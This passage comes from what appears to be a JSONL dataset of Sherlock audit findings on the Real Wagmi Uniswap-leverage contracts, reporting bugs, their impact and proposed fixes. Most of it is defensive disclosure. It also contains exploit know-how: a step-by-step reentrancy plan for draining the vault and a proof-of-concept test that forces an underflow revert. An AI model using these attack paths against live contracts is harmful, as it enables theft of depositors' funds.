Review\n## Recommendation\n`tokenIdToBorrowingKeys` tracks borrowing keys and is used in view functions to return info (getLenderCreditsCount() and getLenderCreditsInfo()). This functionality is easier to implement with arrays, but it can be done with mappings to reduce gas costs and prevent gas griefing and DoS attacks. For example the protocol can emit the borrows for all LP tokens and keep track of them offchain, and pass borrow IDs in an array to a view function to look them up in the mapping. Alternatively, OpenZeppelin's EnumerableSet library could be used to replace the array and keep track of all the borrows on-chain.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//028-M/015-best.md"}} +{"title":"Uniswap Fees Are Sent to Liquidity Manager Without Being Attributed to the LP Owner","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Uniswap Fees Are Sent to Liquidity Manager Without Being Attributed to the LP Owner\n## Summary\n\nCreditors who lend Uniswap positions can lose their LP fees that belong to their liquidity position after depositing to the vault.\n\n## Vulnerability Details\n\nCreditors lend Uniswap positions to the vault to get enchanced yield compared to holding the tokens themselves. However, the when `_decreaseLiquidty` is called, the fees are sent to the liquidity manager contract - `recipient: address(this)`. Although the collected fees are recorded in `amount0` and `amount1`, these values are not passed up the function chain and do not get attributed to the LP depositors, and thus they lose their uniswap LP fees.\n\n```solidity\n(amount0, amount1) = underlyingPositionManager.collect(\n\nINonfungiblePositionManager.CollectParams({\n\ntokenId: tokenId,\n\nrecipient: address(this),\n\namount0Max: uint128(amount0),\n\namount1Max: uint128(amount1)\n\n})\n\n);\n```\n\n## Impact\n\nUniswap LP lenders lose their fees\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L368-L376\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe address of the creditor should be stored, and when `collect` is called, the fees should be sent to `creditor`.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//027-H/088-best.md"}} +{"title":"Liquidity Position Payoff Does not Match Disassembled Payoff","severity":"major","body":"Early Blush Yak\n\nhigh\n\n# Liquidity Position Payoff Does not Match Disassembled Payoff\n## Summary\n\nThe protocol assumes that a liquidity positon can be restored as long as the amount returned `>=` the amount borrowed. This is not true. Disassembling the uniswap position does not have the same payoff as the original uniswap position. Therefore, even a full repayment of the loan will not be able to restore the loan liquidity.\n\n## Vulnerability Detail\n\n- Let's say ETH-USDC is $1000\n- Liquidity provider provides lqiuidity at $800-$1200\n- Price moves to $1100\n- Now, the liquidity position has suffered some impermanant loss. It is worth less than before.\n- Somebody takes a loan out, dissasembling the uniswap position\n- The price moves back to $1000\n\nIf a loan was never taken, the user would have an impermanant loss of zero. However, since a loan was takn out, the Uniswap position was dissasembled. The impermanant loss became a realised loss. When repay is attempted, the attempt will revert due to the repayment not being able to return the original amount of liquidity\n\n## Impact\n\n- Loss of funds for lender\n- Loss of funds for borrower for not being able to pay back their loan\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223-L321\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThere still needs to be price checks for this leverage system, that ensures that there is enough collateral to pay off price slippage. In return, the borrower should be able to get a discount on repayment if the price shifts such that restoring the liquidity position is cheaper.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//026-H/087-best.md"}} +{"title":"Collateral sent during borrowing is lost due to not accounting for borrowingCollateral in borrowing.DailyRateCollateralBalance","severity":"major","body":"Dandy Taupe Barracuda\n\nhigh\n\n# Collateral sent during borrowing is lost due to not accounting for borrowingCollateral in borrowing.DailyRateCollateralBalance\n## Summary\nDuring borrowing, a borrower has to pay some collateral in holdToken plus deposit for holding a position for 24 hours, which is a product of the `borrowedAmount` and the `currentDailyRate`. The latter is added to the collateral balance of the borrower, while the former is not. This makes the collateral stuck in the Vault.\n## Vulnerability Detail\nIn the [`borrow()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L488-L503) function only the `dailyRateCollateral` is added to the `borrowing.DailyRateCollateralBalance`, while both `dailyRateCollateral` and `borrowingCollateral` are transferred to the system.\n\n`borrowing.DailyRateCollateralBalance` is the collateral balance before fees accrual and it is used to determine if a loan is liquidatable or not by calculating the actual collateral balance of the loan (that is, collateral balance minus the fees accrued).\n```solidity\n (collateralBalance, currentFees) = _calculateCollateralBalance(\n borrowing.borrowedAmount,\n borrowing.accLoanRatePerSeconds,\n borrowing.dailyRateCollateralBalance,\n accLoanRatePerSeconds\n );\n```\nThe only way of retrieving collateral from the Vault is calling the `repay()` function which can be called is case of liquidation or closing a position by the borrower.\n\n[In case of liquidation](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L573-L578) (i.e., when `borrowing.DailyRateCollateralBalance` minus the fees < 0), the `borrowing.DailyRateCollateralBalance` is added to borrowing.feesOwed after which tokens are transferred from the Vault and liquidity is being restored in uniswap position [in the call](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L650-L660) to `_restoreLiquidity()`, [during which](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L306-L315) fees owed to a position owner is also transferred from the Vault.\n\n[In case of closing position](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L565-L572) by the borrower the same happens, only his `borrowing.DailyRateCollateralBalance` is applied not to borrowing.feesOwed, but to the liquidationBonus which he receives at the end of the call.\n\nThere is [a 3rd case of emergency closure](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L620-L624) by the uniswap position owner but it is the same in a sense that no more tokens are drawn from the Vault that are borrowed and owed.\n\nThis means that the `borrowingCollateral` which is transferred upon borrowing is lost in the system.\n## Impact\nLoss of funds.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L488-L490\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492-L503\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L552-L557\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L103-L118\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd borrowing collateral to the collateral balance\n```solidity\nborrowing.dailyRateCollateralBalance +=\n (cache.dailyRateCollateral *\n Constants.COLLATERAL_BALANCE_PRECISION) + (borrowingCollateral * Constants.COLLATERAL_BALANCE_PRECISION);\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//025-H/067-best.md"}} +{"title":"_pay() will always revert in some functions for not approving VAULT_ADDRESS address to spend the tokens of the borrower.","severity":"medium","body":"Stale Raisin Whale\n\nmedium\n\n# _pay() will always revert in some functions for not approving VAULT_ADDRESS address to spend the tokens of the borrower.\n## Summary\n**`_pay()`** is employed to transfer tokens from the borrower to the **VAULT_ADDRESS**. To achieve this, a **`transferFrom()`** operation is used, which transfer the tokens from the borrower's address (EOA) indicated by **msg.sender()** to the **VAULT_ADDRESS**, but the **VAULT_ADDRESS** is never approved to spend the tokens of the borrower.\n## Vulnerability Detail\nIn several functions **`_pay()`** is called. These functions involve two addresses: **msg.sender**, representing the borrower (EOA) and **VAULT_ADDRESS**, which is where the tokens are intended to be transferred\n```Solidity\n _pay( \n params.holdToken,\n msg.sender, \n VAULT_ADDRESS,\n borrowingCollateral + liquidationBonus + cache.dailyRateCollateral + feesDebt\n );\n```\nWhen the payer is not the contract, the **`safeTransferFrom()`** function is employed to do the token transfers. However, the crucial step in this process is approving **VAULT_ADDRESS** to enable to expend the tokens belonging to the payer (borrower). This approval is managed by **`_maxApproveIfNecessary()`**. \n\nThe issue arises because the **`_maxApproveIfNecessary()`** is never invoked. This omission causes all transactions to revert.\n```Solidity\nfunction _pay(address token, address payer, address recipient, uint256 value) public {\n if (value > 0) {\n if (payer == address(this)) { \n IERC20(token).safeTransfer(recipient, value); \n } else {\n IERC20(token).safeTransferFrom(payer, recipient, value); \n }\n }\n }\n```\n```Solidity\nfunction _maxApproveIfNecessary(address token, address spender, uint256 amount) internal {\n if (IERC20(token).allowance(address(this), spender) < amount) {\n if (!_tryApprove(token, spender, type(uint256).max)) {\n if (!_tryApprove(token, spender, type(uint256).max - 1)) {\n require(_tryApprove(token, spender, 0));\n if (!_tryApprove(token, spender, type(uint256).max)) {\n if (!_tryApprove(token, spender, type(uint256).max - 1)) {\n true.revertError(ErrLib.ErrorCode.ERC20_APPROVE_DID_NOT_SUCCEED);\n }\n }\n }\n }\n }\n }\n```\n \n## Impact\nIn **`increaseCollateralBalance()`**, **`takeOverDebt()`** and **`borrow()`** will always revert.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L381\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L451\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L498-L503\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L91-L104\n## Tool used\n\nManual Review\n\n## Recommendation\nBefore call **`_pay()`** approve the **VAULT_ADDRESS** to spend the tokens of the borrower using **`_maxApproveIfNecessary()`**.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//024-M/022-best.md"}} +{"title":"Adversary can reenter takeOverDebt() during liquidation to steal vault funds","severity":"major","body":"Ancient Malachite Jay\n\nhigh\n\n# Adversary can reenter takeOverDebt() during liquidation to steal vault funds\n## Summary\n\nDue to the lack of nonReentrant modifier on takeOverDebt() a liquidatable position can be both liquidated and transferred simultaneously. This results in LPs being repaid from the vault while the position and loans continue to be held open, effectively duplicating the liquidated position. LPs therefore get to 'double dip' from the vault, stealing funds and causing a deficit. This can be abused by an attacker who borrows against their own LP to exploit the 'double dip' for profit.\n\n## Vulnerability Detail\n\nFirst we'll walk through a high level breakdown of the issue to have as context for the rest of the report:\n\n 1) Create a custom token that allows them to take control of the transaction and to prevent liquidation\n 2) Fund UniV3 LP with target token and custom token\n 3) Borrow against LP with target token as the hold token\n 4) After some time the position become liquidatable\n 5) Begin liquidating the position via repay()\n 6) Utilize the custom token during the swap in repay() to gain control of the transaction\n 7) Use control to reenter into takeOverDebt() since it lack nonReentrant modifier\n 8) Loan is now open on a secondary address and closed on the initial one\n 8) Transaction resumes (post swap) on repay() \n 9) Finish repayment and refund all initial LP\n10) Position is still exists on new address\n11) After some time the position become liquidatable\n12) Loan is liquidated and attacker is paid more LP\n13) Vault is at a deficit due to refunding LP twice\n14) Repeat until the vault is drained of target token\n\n[LiquidityManager.sol#L279-L287](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L279-L287)\n\n _v3SwapExactInput(\n v3SwapExactInputParams({\n fee: params.fee,\n tokenIn: cache.holdToken,\n tokenOut: cache.saleToken,\n amountIn: holdTokenAmountIn,\n amountOutMinimum: (saleTokenAmountOut * params.slippageBP1000) /\n Constants.BPS\n })\n\nThe control transfer happens during the swap to UniV3. Here when the custom token is transferred, it gives control back to the attacker which can be used to call takeOverDebt().\n\n[LiquidityBorrowingManager.sol#L667-L672](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L667-L672)\n\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, loans);\n // Pay a profit to a msg.sender\n _pay(borrowing.holdToken, address(this), msg.sender, holdTokenBalance);\n _pay(borrowing.saleToken, address(this), msg.sender, saleTokenBalance);\n\n emit Repay(borrowing.borrower, msg.sender, params.borrowingKey);\n\nThe reason the reentrancy works is because the actual borrowing storage state isn't modified until AFTER the control transfer. This means that the position state is fully intact for the takeOverDebt() call, allowing it to seamlessly transfer to another address behaving completely normally. After the repay() call resumes, _removeKeysAndClearStorage is called with the now deleted borrowKey. \n\n[Keys.sol#L31-L42](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/libraries/Keys.sol#L31-L42)\n\n function removeKey(bytes32[] storage self, bytes32 key) internal {\n uint256 length = self.length;\n for (uint256 i; i < length; ) {\n if (self.unsafeAccess(i).value == key) {\n self.unsafeAccess(i).value = self.unsafeAccess(length - 1).value;\n self.pop();\n break;\n }\n unchecked {\n ++i;\n }\n }\n\nThe unique characteristic of deleteKey is that it doesn't revert if the key doesn't exist. This allows \"removing\" keys from an empty array without reverting. This allows the repay call to finish successfully.\n\n[LiquidityBorrowingManager.sol#L450-L452](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L450-L452)\n\n //newBorrowing.accLoanRatePerSeconds = oldBorrowing.accLoanRatePerSeconds;\n _pay(oldBorrowing.holdToken, msg.sender, VAULT_ADDRESS, collateralAmt + feesDebt);\n emit TakeOverDebt(oldBorrowing.borrower, msg.sender, borrowingKey, newBorrowingKey);\n\nNow we can see how this creates a deficit in the vault. When taking over an existing debt, the user is only required to provide enough hold token to cover any fee debt and any additional collateral to pay fees for the newly transferred position. This means that the user isn't providing any hold token to back existing LP.\n\n[LiquidityBorrowingManager.sol#L632-L636](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L632-L636)\n\n Vault(VAULT_ADDRESS).transferToken(\n borrowing.holdToken,\n address(this),\n borrowing.borrowedAmount + liquidationBonus\n );\n\nOn the other hand repay transfers the LP backing funds from the vault. Since the same position is effectively liquidated twice, it will withdraw twice as much hold token as was originally deposited and no new LP funds are added when the position is taken over. This causes a deficit in the vault since other users funds are being withdrawn from the vault.\n\n## Impact\n\nVault can be drained\n\n## Code Snippet\n\n[LiquidityBorrowingManager.sol#L395-L453](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395-L453)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the `nonReentrant` modifier to `takeOverDebt()`","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//023-H/076-best.md"}} +{"title":"latestUpTimestamp isn't recorded","severity":"medium","body":"Future Blue Alpaca\n\nmedium\n\n# latestUpTimestamp isn't recorded\n## Summary\n\nlastestUpTimestamp isn't recorded in _getHOldTokenRateInfo()\n\n## Vulnerability Detail\n\nholdTokenRateInfo is a _getHOldTokenRateInfo() return variable containing information about the token holding rate from the holdTokenInfo array. It is declared as a memory variable, so it contains the value and not a reference to the holdTokenInfo[key] mapping.\nThe update is therefore not recorded. However, the protocol assumes that the last update timestamp is recorded for future calculations.\n\n## Impact\n\nIncorrect calculation of the accumulated loan rate per second and the collateral balance\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/DailyRateAndCollateral.sol#L25-L55\n\n```solidity\n /**\n * @notice This internal view function retrieves the current daily rate for the hold token specified by `holdToken`\n * in relation to the sale token specified by `saleToken`. It also returns detailed information about the hold token rate stored\n * in the `holdTokenInfo` mapping. If the rate is not set, it defaults to `Constants.DEFAULT_DAILY_RATE`. If there are any existing\n * borrowings for the hold token, the accumulated loan rate per second is updated based on the time difference since the last update and the\n * current daily rate. The latest update timestamp is also recorded for future calculations.\n * @param saleToken The address of the sale token in the pair.\n * @param holdToken The address of the hold token in the pair.\n * @return currentDailyRate The current daily rate for the hold token.\n * @return holdTokenRateInfo The struct containing information about the hold token rate.\n */\n function _getHoldTokenRateInfo(\n address saleToken,\n address holdToken\n ) internal view returns (uint256 currentDailyRate, TokenInfo memory holdTokenRateInfo) {\n bytes32 key = Keys.computePairKey(saleToken, holdToken);\n holdTokenRateInfo = holdTokenInfo[key];\n currentDailyRate = holdTokenRateInfo.currentDailyRate;\n if (currentDailyRate == 0) {\n currentDailyRate = Constants.DEFAULT_DAILY_RATE;\n }\n if (holdTokenRateInfo.totalBorrowed > 0) {\n uint256 timeWeightedRate = (uint32(block.timestamp) -\n holdTokenRateInfo.latestUpTimestamp) * currentDailyRate;\n holdTokenRateInfo.accLoanRatePerSeconds +=\n (timeWeightedRate * Constants.COLLATERAL_BALANCE_PRECISION) /\n 1 days;\n }\n\n holdTokenRateInfo.latestUpTimestamp = uint32(block.timestamp);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//022-M/144-best.md"}} +{"title":"An attacker can increase liquidity to the position's UniswapNFT to prevent the loan from being repaid","severity":"medium","body":"Proud Mocha Mustang\n\nhigh\n\n# An attacker can increase liquidity to the position's UniswapNFT to prevent the loan from being repaid\n## Summary\nAn attacker can increase liquidity to the position's UniswapNFT to prevent the loan from being repaid\n\n## Vulnerability Detail\nUniswapV3NPM allows the user to increase liquidity to any NFT.\n```solidity\n function increaseLiquidity(IncreaseLiquidityParams calldata params)\n external payable override checkDeadline(params.deadline)\n returns (\n uint128 liquidity, uint256 amount0, uint256 amount1)\n {\n Position storage position = _positions[params.tokenId];\n PoolAddress.PoolKey memory poolKey = _poolIdToPoolKey[position.poolId];\n IUniswapV3Pool pool;\n (liquidity, amount0, amount1, pool) = addLiquidity(\n```\n_getHoldTokenAmountIn() function (which is called by restoreLiquidty()) uses getAmountsForLiquidity() to fetch amount0 and amount1. \nLater one of those values are used to calclulate holdTokenAmountIn\n```solidity\n461: holdTokenAmountIn = amount0 == 0 ? 0 : holdTokenDebt - amount1;\n```\nAn attacker can add liquidity and make amount1 bigger than holdTokenDebt. If this happens repay function will revert due to underflow\n\n## Impact\nAccidentally or intentionally, a lender can prevent a borrower from repaying their loan\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L235\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L449-L466\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//021-M/179.md"}} +{"title":"_restoreLiquidity may often DOS due to swap slippage","severity":"medium","body":"Festive Daffodil Grasshopper\n\nmedium\n\n# _restoreLiquidity may often DOS due to swap slippage\n## Summary\n\n_restoreLiquidity will swap holdToken for saleToken, and then add the corresponding LP for repayment.\nThe total amount of holdToken is `borrowing.borrowedAmount + liquidationBonus`, but only the `borrowedAmount - holdTokenAmount` of each loan is used during the swap, that is, the total swap amount of holdToken is `borrowedAmount`, and liquidationBonus does not participate in the swap, which includes `real liquidationBonus + extra collateralBalance`.\nDue to the slippage problem of swap, the amount of saleTokens may be lower than the amount required by LP, which will DOS the liquidation process.\n\n## Vulnerability Detail\n\n```solidity\n function _getHoldTokenAmountIn(\n bool zeroForSaleToken,\n int24 tickLower,\n int24 tickUpper,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n uint256 holdTokenDebt\n ) private pure returns (uint256 holdTokenAmountIn, uint256 amount0, uint256 amount1) {\n // Call getAmountsForLiquidity function from LiquidityAmounts library\n // to get the amounts of token0 and token1 for a given liquidity position\n (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(\n sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(tickLower),\n TickMath.getSqrtRatioAtTick(tickUpper),\n liquidity\n );\n // Calculate the holdTokenAmountIn based on the zeroForSaleToken flag\n if (zeroForSaleToken) {\n // If zeroForSaleToken is true, check if amount0 is zero\n // If true, holdTokenAmountIn will be zero. Otherwise, it will be holdTokenDebt - amount1\n holdTokenAmountIn = amount0 == 0 ? 0 : holdTokenDebt - amount1;\n } else {\n // If zeroForSaleToken is false, check if amount1 is zero\n // If true, holdTokenAmountIn will be zero. Otherwise, it will be holdTokenDebt - amount0\n holdTokenAmountIn = amount1 == 0 ? 0 : holdTokenDebt - amount0;\n }\n }\n```\n\nholdTokenDebt and borrowAmount are equal, _getHoldTokenAmountIn will calculate the remaining holdTokenAmount for swap, regardless of liquidationBonus.\nIf the swap result cannot meet the LP quantity due to slippage and market environment, repay / liquidation will fail.\n\n## Impact\n\n_restoreLiquidity may often DOS due to swap slippage and market environment.\n\n## Code Snippet\n\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L458-L466\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nDue to the additional funds of liquidationBonus, holdToken is sufficient, should use exactOutputSingle to ensure the amount of saleToken, instead of using exactInputSingle and limited holdToken for swap","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//021-M/132-best.md"}} +{"title":"If loan is not liquidated in time, underflow may prevent loan from being liquidated using emergency mode","severity":"medium","body":"Orbiting Tweed Caterpillar\n\nhigh\n\n# If loan is not liquidated in time, underflow may prevent loan from being liquidated using emergency mode\n## Summary\nIf roughly 500_000 seconds (~5 days) has passed and loan is not liquidated, emergency repayment will fail due to underflow causing repay function to revert\n\n## Vulnerability Detail\n\nborrowingStorage.accLoanRatePerSeconds =\n holdTokenRateInfo.accLoanRatePerSeconds -\n FullMath.mulDiv(\n uint256(-collateralBalance),\n Constants.BP,\n borrowing.borrowedAmount // new amount\n );\n\nWhen `collateralBalance` grows large enough, this part of the `repay` function will revert\n\n## POC\nIn line 421 of `WagmiLeverageTests.ts`, if time is increased to 500_000, the next test that repays will fail with Arithmetic operation underflowed or overflowed outside of an unchecked block.\n\n## Impact\nPrevention of liquidity providers from recovering their funds from a loan under liquidation. May also have impact on regular liquidation but did not have time to check due submission close to end of contest\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L612C17-L618C23\n\n## Tool used\n\nManual Review\n\n## Recommendation\nHandle possible underflow with additional checks before the calculation","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//020-M/195.md"}} +{"title":"Wrong `accLoanRatePerSeconds` in `repay()` can lead to underflow","severity":"medium","body":"Rough Pearl Wombat\n\nmedium\n\n# Wrong `accLoanRatePerSeconds` in `repay()` can lead to underflow\n## Summary\n\nWhen a Lender call the [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) function of the LiquidityBorrowingManager contract to do an emergency liquidity restoration using `isEmergency = true`, the `borrowingStorage.accLoanRatePerSeconds` is updated if the borrowing position hasn't been fully closed.\n\nThe computation is made in sort that the missing collateral can be computed again later so we don't loose the missing fees in case someone take over or the borrower decide to reimburse the fees.\n\nBut this computation is wrong and can lead to underflow.\n\n## Vulnerability Detail\n\nBecause the [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) function resets the `dailyRateCollateralBalance` to 0 when the lender call didn't fully close the position. We want to be able to compute the missing collateral again.\n\nTo do so we substract the percentage of collateral not paid to the `accLoanRatePerSeconds` so on the next call we will be adding extra second of fees that will allow the contract to compute the missing collateral.\n\nThe problem lies in the fact that we compute a percentage using the borrowed amount left instead of the initial borrow amount causing the percentage to be higher. In practice this do allows the contract to recompute the missing collateral.\n\nBut in the case of the missing `collateralBalance` or `removedAmt` being very high (ex: multiple days not paid or the loan removed was most of the position's liquidity) we might end up with a percentage higher than the `accLoanRatePerSeconds` which will cause an underflow.\n\nIn case of an underflow the call will revert and the lender will not be able to get his tokens back.\n\nConsider this POC that can be copied and pasted in the test files (replace all tests and just keep the setup & NFT creation):\n\n```js\nit(\"Updated accRate is incorrect\", async () => {\n const amountWBTC = ethers.utils.parseUnits(\"0.05\", 8); //token0\n let deadline = (await time.latest()) + 60;\n const minLeverageDesired = 50;\n const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);\n\n const loans = [\n {\n liquidity: nftpos[3].liquidity,\n tokenId: nftpos[3].tokenId,\n },\n {\n liquidity: nftpos[5].liquidity,\n tokenId: nftpos[5].tokenId,\n },\n ];\n\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n const borrowParams = {\n internalSwapPoolfee: 500,\n saleToken: WETH_ADDRESS,\n holdToken: WBTC_ADDRESS,\n minHoldTokenOut: amountWBTC,\n maxCollateral: maxCollateralWBTC,\n externalSwap: swapParams,\n loans: loans,\n };\n\n //borrow tokens\n await borrowingManager.connect(bob).borrow(borrowParams, deadline);\n\n await time.increase(3600 * 72); //72h so 2 days of missing collateral\n deadline = (await time.latest()) + 60;\n\n const borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);\n\n let repayParams = {\n isEmergency: true,\n internalSwapPoolfee: 0,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 0,\n };\n\n const oldBorrowingInfo = await borrowingManager.borrowingsInfo(borrowingKey);\n const dailyRateCollateral = await borrowingManager.checkDailyRateCollateral(borrowingKey);\n\n //Alice emergency repay but it reverts with 2 days of collateral missing\n await expect(borrowingManager.connect(alice).repay(repayParams, deadline)).to.be.revertedWithPanic();\n });\n```\n\n## Impact\n\nMedium. Lender might not be able to use `isEmergency` on `repay()` and will have to do a normal liquidation if he want his liquidity back.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L613\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider that when a lender do an emergency liquidity restoration they give up on their collateral missing and so use the initial amount in the computation instead of borrowed amount left.\n\n```solidity\nborrowingStorage.accLoanRatePerSeconds =\n holdTokenRateInfo.accLoanRatePerSeconds -\n FullMath.mulDiv(\n uint256(-collateralBalance),\n Constants.BP,\n borrowing.borrowedAmount + removedAmt //old amount\n );\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//020-M/119-best.md"}} +{"title":"Unfair distribution of liquidation bonus in LiquidityBorrowingManager#repay during emergency withdrawal","severity":"medium","body":"Huge Honeysuckle Dolphin\n\nmedium\n\n# Unfair distribution of liquidation bonus in LiquidityBorrowingManager#repay during emergency withdrawal\n## Summary\n\nThe liquidation bonus calculation in the LiquidityBorrowingManager's repay function currently results in an unfair distribution. When an emergency exit is initiated, the entire liquidation bonus is allocated to the last lender who withdraws their funds.\n\n## Vulnerability Detail\n\nLiquidation bonus is calculated in [LiquidityBorrowingManager](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465) borrow function. As you can see below, the base value is multiplied by number of 